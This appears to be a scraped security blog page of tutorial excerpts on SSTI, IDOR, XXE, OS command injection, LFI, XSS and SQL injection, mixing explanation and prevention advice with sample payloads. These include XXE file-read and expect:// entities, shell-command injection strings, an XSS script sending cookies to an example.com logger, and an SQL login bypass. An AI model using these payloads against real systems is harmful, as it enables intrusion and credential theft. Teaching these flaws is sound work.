SSTI (Server Side Template Injection) Vulnerability | Detect | Idenfify | Exploit

 

What is server-side template injection(SSTI Vulnerability)?

A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.

Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server.

An example of vulnerable code see the following one:

$output = $twig->render("Dear " . $_GET['name']);

In the previous example part of the template itself is being dynamically generated using the GET parameter name. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name parameter as follows:

http://example.com/?name={{bad-stuff-here}}

Constructing a server-side template injection attack

Constructing a server-side template injection attack

How To Detect SSTI Vulnerability

As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as the polyglot ${{<%[%'”}}%.
In order to check if the server is vulnerable you should spot the differences between the response with regular data on the parameter and the given payload.

If an error is thrown it will be quiet easy to figure out that the server is vulnerable and even which engine is running. But you could also find a vulnerable server if you were expecting it to reflect the given payload and it is not being reflected or if there are some missing chars in the response.

Detect – Plaintext context

The given input is being rendered and reflected into the response. This is easily mistaken for a simple XSS vulnerability, but it’s easy to differentiate if you try to set mathematical operations within a template expression:

1

{{7*7}}

2

${7*7}

3

<%= 7*7 %>

4

${{7*7}}

5

#{7*7}

Detect – Code context

In these cases the user input is being placed within a template expression:

1

engine.render("Hello {{"+greeting+"}}", data)

2

​

The URL access that page could be similar to: http://vulnerable-website.com/?greeting=data.username

If you change the greeting parameter for a different value the response won’t contain the username, but if you access something like: http://example.com/?greeting=data.username}}hello then, the response will contain the username (if the closing template expression chars were }}).

If an error is thrown during these test, it will be easier to find that the server is vulnerable.

Identify SSTI Vulnerability

Once you have detected the template injection potential, the next step is to identify the template engine.
Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters.

If you are lucky the server will be printing the errors and you will be able to find the engine used inside the errors. Some possible payloads that may cause errors:

${}	{{}}	<%= %>
${7/0}	{{7/0}}	<%= 7/0 %>
${foobar}	{{foobar}}	<%= foobar %>
${7*7}	{{7*7}}	“

Otherwise, you’ll need to manually test different language-specific payloads and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following:

Exploition of SSTI Vulnerability

Read

The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:

• ‘For Template Authors’ sections covering basic syntax.
• ‘Security Considerations’ – chances are whoever developed the app you’re testing didn’t read this, and it may contain some useful hints.
• Lists of builtin methods, functions, filters, and variables.
• Lists of extensions/plugins – some may be enabled by default.

test different language-specific payloads

Explore

Assuming no exploits have presented themselves, the next step is to explore the environment to find out exactly what you have access to. You can expect to find both default objects provided by the template engine, and application-specific objects passed in to the template by the developer. Many template systems expose a ‘self’ or namespace object containing everything in scope, and an idiomatic way to list an object’s attributes and methods.

If there’s no builtin self object you’re going to have to bruteforce variable names using SecLists and Burp Intruder’s wordlist collection.

Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.

Attack

At this point you should have a firm idea of the attack surface available to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It’s important to approach this in the context of the wider application – some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.

Read More

 

Understanding IDOR Vulnerability

There can be many variables in the application such as “id”, “pid”, “uid”. Although these values are often seen as HTTP parameters, they can be found in headers and cookies. The attacker can access, edit or delete any of other users’ objects by changing the values. This vulnerability is called IDOR.

First, it needs to understand the application flow developed by the software developers. All the modules functions and their sub-modules functions need to be understood when the logged-in user into the web/mobile application. It is also important to remember that this vulnerability is as severe as XSS, CSRF in security testing and as a type of vulnerability that is not easily discovered (automatized testing or manual testing).

Effective & fast IDOR vulnerability test

You can use the browser’s secret tab to quickly practically test IDOR vulnerabilities. So, when you use the regular tab as a normal user, you can use the secret tab as an attacker. This will ensure that you don’t logout.

You can use Burp Suite’s HTTP History tab for checking all of requests. The HTTP History feature that shows all the traffic between the device (browser, phone, tablet) and the application’s server. Also, you can use Burp Suite’s scope feature for fast testing. Because the scope feature can be useful to make a target list and the scope feature allows showing only relevant data for your testing scope.

For example; the company “Bugcrowd” that we tested and the scope is only given as “bugcrowd.com” on the scope page. In this case, you can add the relevant scope by right-clicking on a request.

You can edit this added scope value according to the given scope as follows

Finally, you should do the following filtering in the HTTP History tab by selecting “Show only in-scope items”.

These will help you to understand roles like readonly, normal, super etc in the application better.

Capture all requests!

When IDOR vulnerability testing, basically, you need to perform make all the requests that the web/mobile application should be create. Because if you changed something in the application, can create other requests using this case. If you have all API requests of the application like WSDL file, Swagger page etc. and it’s working regularly, you’re in luck! You can use this and it’ll give you convenience for IDOR testing.

An example is encountered in a private program. Credit cards are added when made the purchase in the mobile application. After the requests are tested, it can be thought that there is not any vulnerability. But when a made second purchase, credit card selection screen is seen and the IDOR vulnerability is at this point. When selecting a credit card on here, application will send the credit card id to server in a request and this request did provide to access other users’ credit cards data changing the credit card id.

In another private program, the web application included an in-app messaging system. The user could send messages to other users and add other users to own messages. When the user tries to access one of own messages, a request went to “/messages/5955” and own message id seems to be “5955”. Likewise, when trying to access another user’s message by making a request to “/messages/5955”, the message was not accessed. When the user wanted to add another user to own message, arises a request like the one below.

1

<span class="has-inline-color has-vivid-red-color">POST /messages/5955/invite HTTP/1.1Host: example.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0Accept: */*X-Requested-With: XMLHttpRequestCookie: my_cookiesConnection: closeuser=testaccount2</span>

And when this request is examined, the user can add itself to other users’ messages and access all messages.

In addition, roles in the application must be well understood in order to identify IDOR vulnerability. If you know what that a role should do or should not do, it will be very useful during the phase of weakness detection. So firstly, you should understand the application deeply!

How to find injection points?

As before say, you can find many requests for IDOR vulnerability testing using all features of application. When API endpoints are not provided in IDOR vulnerability tests, .html source code or .js files are useful. These files include interesting things and ajax requests usually. IDOR vulnerability testing can be performed using presented requests in these files. This can be requests made earlier by the application, and possible future requests.

If you are lucky, you can see only the requests that an authorized, admin user should see in javascript files. Because of this, source code and especially javascript files should analyze well.

Also, you can search web application’s old version on “archive.org” and you may can find useful requests in old javascript files or you can search requests in search engines using dorks.

In some cases, id values aren’t unique like 1, 2, 3, 100, 1000 etc, these id values can be encoded or hashed value. If you face an encoded value, you can test the IDOR vulnerability with decoding the encoded value. If you face a hashed value, you should test whether the hash value is an accessible or predictable value. In another case, you can access hashed value in “Referrer“ header, so these scenarios can be replicated.

For example, you can’t access the another users’ objects but you can find object’s hashed id value in the object page’s source code, you can find the object’s hashed id into an in-app message from victim user (this will decrease the impact of bug). So you can create 2 test accounts as X and Y, then try to X’s hashed id value in Y’s requests in Burp History.

If we will touch another topic, some applications’ requests may scare you. For example, the SmartSheet’s request that contains more than one parameter appears to be too complex.

If you wanna find the inject point in this request, you can use Burp Suite’s compare tool. You should right-click on the request and choose “Send to Comparer” option. Then you can create the same request for using another object and send to comparer.

When you visit to the comparer tool and click on the “Words” button, you will be presented with a window where the changing points.

You can use same method for HTTP responses and you can examine their differences.

Unsuspected places to look for IDORs

Don’t ignore encoded and hashed IDs

When faced with an encoded ID, it might be possible to decode the encoded ID using common encoding schemes.
And if the application is using a hashed/ randomized ID, see if the ID is predictable. Sometimes applications use algorithms that produce insufficient entropy, and as such, the IDs can actually be predicted after careful analysis. In this case, try creating a few accounts to analyze how these IDs are created. You might be able to find a pattern that will allow you to predict IDs belonging to other users.
Additionally, it might be possible to leak random or hashed IDs via another API endpoint, on other public pages in the application (profile page of other users, etc), or in a URL via referer.

For example, once I found an API endpoint that allows users to retrieve detailed direct messages through a hashed conversation ID. The request kinda looks like this:

1

<span class="has-inline-color has-vivid-red-color">GET /api_v1/messages?conversation_id=SOME_RANDOM_ID

2

</span>

This seems okay at first glance since the conversation_id is a long, random, alphanumeric sequence. But I later found that you can actually find a list of conversations for each user just by using their user ID!

Preventing IDOR Vulnerability

Your website may be vulnerable to future attacks if IDOR threat actors remain present in your web applications. Here are ways to avoid IDOR vulnerability:

Use an Indirect Reference Map

An Indirect Reference Map is an alternative design method to ‘Direct Object Reference’ that helps businesses avoid IDOR vulnerabilities. It replaces the actual references (such as user IDs, names, keys, etc.) with alternate IDs that map to the original values. The mapping between the alternate IDs and actual references are maintained safely on the servers.

Let’s go back to the credit card example. Instead of using direct references in the URL http://www.example.com/credit/profile/id#12, use indirect references http://www.example.com/c/ab. Then, refer to the indirect reference map to look for the actual reference. This way, direct references containing users’ credit card information will not be exposed.

Validate User Access

Servers fail to identify tampered URLs because there are no access checks in place at the data-object level. Data layer access controls should be enforced only when the server verifies whether the current user owns or has access permissions to the requested data.

At the very least, the application should perform a Syntactic Validation to verify suspicious inputs. The application should establish criteria for incoming input, and if it doesn’t meet expectations, reject the value.

Here are some criteria you can apply to your application:

• Minimum or maximum length
• Minimum or maximum bounds (for numeric values)
• Acceptable characters
• Data Type (e.g. string, date, integer, rational, etc.)

But what do you when an IDOR attack leads to a successful data breach?

The preventive measures mentioned above can only prevent an IDOR attack from happening, but they can’t mitigate the impact of a successful attack. Your business needs to be ready for any cyberattack situation, and that includes having an action plan post an IDOR attack.

Spanning backs up your online data and restores it in the event of a cyberattack incident, including a data breach due to IDOR vulnerability. This ensures business continuity for your web-based business even during a disaster.

Read More

What Is XXE Injection? |How Hackers Do It.

 

What is XML external entity injection?

XML external entity(XXE) injection is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. Using XXE, an attacker is able to cause Denial of Service (DoS) as well as access local and remote content and services and to interact with any back-end or external systems that the application itself can access.
This vulnerability used to perform Server Side Request Forgery(SSRF).

Is that the XEE (XML Eternal Entity Injection) vulnerability can be activated when certain endpoints that accept XML as input are detected. But often, you may find cases where the endpoints that accept XML may not be so evident (for example, those cases where the client uses only JSON to access the service). In these situations, a pen tester must try various things to see how the application reacts, such as changing the HTTP methods, Content-Type, etc. If the content is parsed by the application, then there is a scope for XXE.

Most Common XXE Injection Attacks

• Local File Hijack from Server

the attacker sends the malformed XML payload in the request, the server processes this payload and sends back a response with sensitive information, such as local files of the server, application configuration files, internal network details and so on.

In few cases upon submitting the HTTP request with the crafted XXE payload, the server responded with the /etc/passwd/ of the server.

However, in many cases, the server may not send back a response. The other way an attacker can exploit this is by including the URL (attacker-controlled server) in the XXE payload. When the server parses the payload, it makes an additional call to the attacker-controlled server, thereby an attacker listens to the victim’s server and captures information such as local files, server configuration files, and other server details.

• Access Server files through a File Upload feature

Many applications support a “File Upload” functionality (XLSX, DOCX, PPTX, SVG or any XML MIME type formats) for further processing. Usually, these files have an XML MIME type. An attacker could take advantage of the inherent XML type and upload malicious files embedded with XXE payloads. When the server parses the file, the file containing XXE payload gets executed, resulting in the disclosure of sensitive information of a server on the client side.

Note that the libraries that parse XML on one part of the site (e.g. API) may not be the same as libraries that parse uploaded files.

• DOS attack with Recursive Entity Expansion

This attack is also called as the Billion Laugh attack, the XML Bomb or a Recursive Entity Expansion attack. This attack occurs when the parser continually expands each entity within itself, which overloads the server and results in bringing down the server.

XXE is not a new vulnerability but rather an existing one that has gained more notoriety in recent applications. A successful XXE injection attack could result in massive damages on both security and business functionality fronts.

EXPLOITING XXE TO RETRIEVE FILES

There are two ways:

• #Enter (or edit) a DOCTYPE element that specifies an external entity that contains the file path.
• #To make use of the defined external entity, edit the data value in the XML returned in the application’s response.

Examples of XXE Attacks

• Accessing a local resource that may not return

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///dev/random" >]>
<foo>&xxe;</foo>

• Remote Code Execution

If fortune is on our side, and the PHP “expect” module is loaded, we can get RCE. Let’s modify the payload

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>

How to Prevent XXE injection Attacks?

XXE vulnerability occur because the XML parsing library of the application supports potentially dangerous XML features that the application does not require to use.

The easiest method to prevent against the attacks it to permanently disable the Document Type Definitions (DTDs), if this is not require.And turn off entity expansion in XML.Check the the version of XML libraries IF they are vulnerable to XXE attack.

Read More

How Hackers Access Server Using Command Injection

 

What is OS command injection?

OS command injection is a web vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise th application and all its data.

This is very dangerous hack because the hacker can get full control. The attacker change everything ,I mean everything like (credentials, biodata, and also harm the website owner etc.).

What are the types of OS command injection?

I’m not going in deep

• 1.Direct Command Injection
• 2.Indirect Command Injection
• 3.Bling Command Injection

How does OS Command Injection Attack Works?

Firstly the attacker locate a vulnerability in the web application which allow him to execute malicious OS commands.

Usually the attacker make a malicious script or execute commands to bypass the firewall to execute a desired attack in the host OS.

They typically use an input mechanism like HTML code, cookies or form fields to inject this command into the web application.

The browser interprets the command and it is translated to an operating system command on the host machine.

The threat attack can execute specific commands on the host machine and the infected network system.

OS Command Injection ATTACK Example

For this purpose, I am using the ping functionality, whick is notoriosly insecure on many routers. Lets imagine a application which is vulnerable.

It has a comman function that passes a n IP address from a user input is 127.0.0.1.

The following command will be executed on the host OS.

ping -c 5 127.0.0.1

Since we are dealing with a vulnerabe web application, it’s possibleto break out the ping command or an error that returns useful info to the attacker.

Then the attacker use this option to execute his own arbitrary commands.

The added additional system commands could look like this:

ping -c 5 127.0.0.1; id

In above command both ping and id command executed.
Command output will looks like :-

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.074 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.074 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.072 ms64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.037 ms

--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 received, 0% packet loss, time 3999msrtt min/avg/max/mdev = 0.023/0.056/0.074/0.021 msuid=0(root) gid=0(root) groups=0(root)

During the OS command injection attack, the attacker can also set up an error-based attack. For ex:-

ping -c 5 "$(id)"

The above code returns a response like:-

ping: unknown host uid=0(root) gid=0(root) groups=0(root)

How to prevent OS command injection?

To prevent an attacker from exploiting a vulnerable web application and inserting special characters into an operating system command, you should try to generally avoid system calls where possible.

In all cases, avoid user input of any kind unless it is absolutely necessary. If you don’t need system command fucntionality, deactivate it.

Then the attacker can’t get access to the system shell on the host OS through vulnerable web applications. You can also build a whitelist of possile inputs and check the formats. 

Read More

How Do Hackers Upload Shellcodes Using LFI

 

What is Local File Inclusion (LFI)?

This is a vulnerability commonly found to affect web application that rely on a scripting run time. Local File Inclusion (LFI) or simply File Inclusion, refers to an inclusion attack through which an attacker can trick the web application into including files on the web server by exploiting a functionally that dynamically includes local files or scripts.

LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution.

An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement.

How does Local File Inclusion Work?

Usually, the path of the file that you want to open is sent to a function that can then return the content of the file as a string, print it on the current web page, or include it into the document and parse it as application code in the relevant language.

The following is an example in PHP that is vulnerable to Local File Inclusion (LFI).

/**
      * Get the filename from a GET input
      * Example - http://example.com/?file=filename.php
      */
      $file = $_GET['file'];
      
      /**
      * Unsafely include the file
      * Example - filename.php
      */
      include('directory/' . $file);

In the above example, an attacker could make the following request to trick the web application into executing a malicious script such as a webshell that the attacker managed to upload to the web server.

Here’s an example of a vulnerable PHP code that could lead to LFI:-
https://example.com/?page=filename.php

Here, the file uploaded by the attacker will be included and run as the user running the web app.In this way the attacker to run any code they wanted on the web server.

All the things work successfully when the attacker get the access into the website

Protecting Against LFI Attacks

The simplest method/way to eliminate LFI vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included.

Read More

How Do Hackers Hijack Websites And Browser Using Xss

 

What is Cross Site Scripting(XSS)?

Cross site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. This is a combination of HTML and XSS provided by the attacker, but XSS can also be used to deliver malicious downloads, plugins, or media content. In this case hacker execute some malicious links into the website or an app.

If the app or website lacks proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system.

As a result, the attacker can steal the user’s active session cookie.
Here’s an example:

<script> i=new/**/Image();isrc=http://example.com/log.php?'+document.cookie+' '+document.location</script>

Because XSS can allow untrusted users to execute code in the browser of trusted users and access some types of data, such as session cookies, and many time hackers get some website credentials which they get full control on websites.

How does cross site scripting work?

Cross-site scripting works by manipulating a vulnerable website or an application so that it returns malicious JavaScript to users.The attacker injects some code in it.

Attackers can also carry out an attack by modifying a request. If the app or website lacks proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system. As a result, the attacker can steal the user’s active session cookie.

Here’s an example:

<script> i=new/**/Image();isrc=http://example.com/log.php?'+document.cookie+' '+document.location</script>

While the payload is usually JavaScript, XSS can take place using any client-side language.

What does the attacker do the credentials?

The attacker do these things:-

• *Hijacking A website And Browser
• *Capturing the keystrokes of a user.
• *Redirecting a user to a malicious website.
• *Running web browser-based exploits (e.g., crashing the browser).
• *Obtaining the cookie information of a user who is logged into a website (thus compromising the victim’s account).

In some cases, the XSS attack leads to a complete compromise of the victim’s account. Attackers can trick users into entering credentials on a fake form, which provides all the information to the attacker.

What are the different types of XSS attacks?

Stored XSS:-

Takes place when the malicious payload is stored in a database. It renders to other users when data is requested—if there is no output encoding or sanitization.

Reflected XSS:-

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

DOM-based XSS:-

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

How to prevent XSS vulnerability?

There are some strategies to prevent XSS attacks:

• *Never trust user input.
• *Implement output encoding.
• *Perform user input validation.
• *Follow the defense in depth principle.
• *Ensure that web application development aligns with OWASP’s XSS Prevention *Cheat Sheet.
• *After remediation, perform penetration testing to confirm it was successful.

Protect your organization by following secure development guidelines—building security in at all phases of the application’s development. Output encoding is also key to preventing XSS vulnerabilities. Make use of output encoding libraries that are relevant to the programming languages and frameworks your organization uses. Also, ensure your developers stay up-to-date with XSS prevention best practices.

Read More

How Hackers Leak Databases | Sql Injection Vulnerablity

 

What is SQL injection?

The Wikipedia article on SQL injection reads:

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution.

SQL Injection is a web-based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.

The underlying fact that allows for SQL injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.

For example, let’s consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt.

Here is a typical example:

select * from users where username='admin' and password='admin123′;

If the attacker knows the username of the application administrator is admin, he can log in as admin without supplying any password.

admin'–

The query in the back-end looks like:

Select * from users where username='admin'–' and password='xxx';

Note the comment sequence (–) causes the followed query to be ignored, so query executed is equivalent to:

Select * from users where username='admin';

So password check is bypassed.

Read More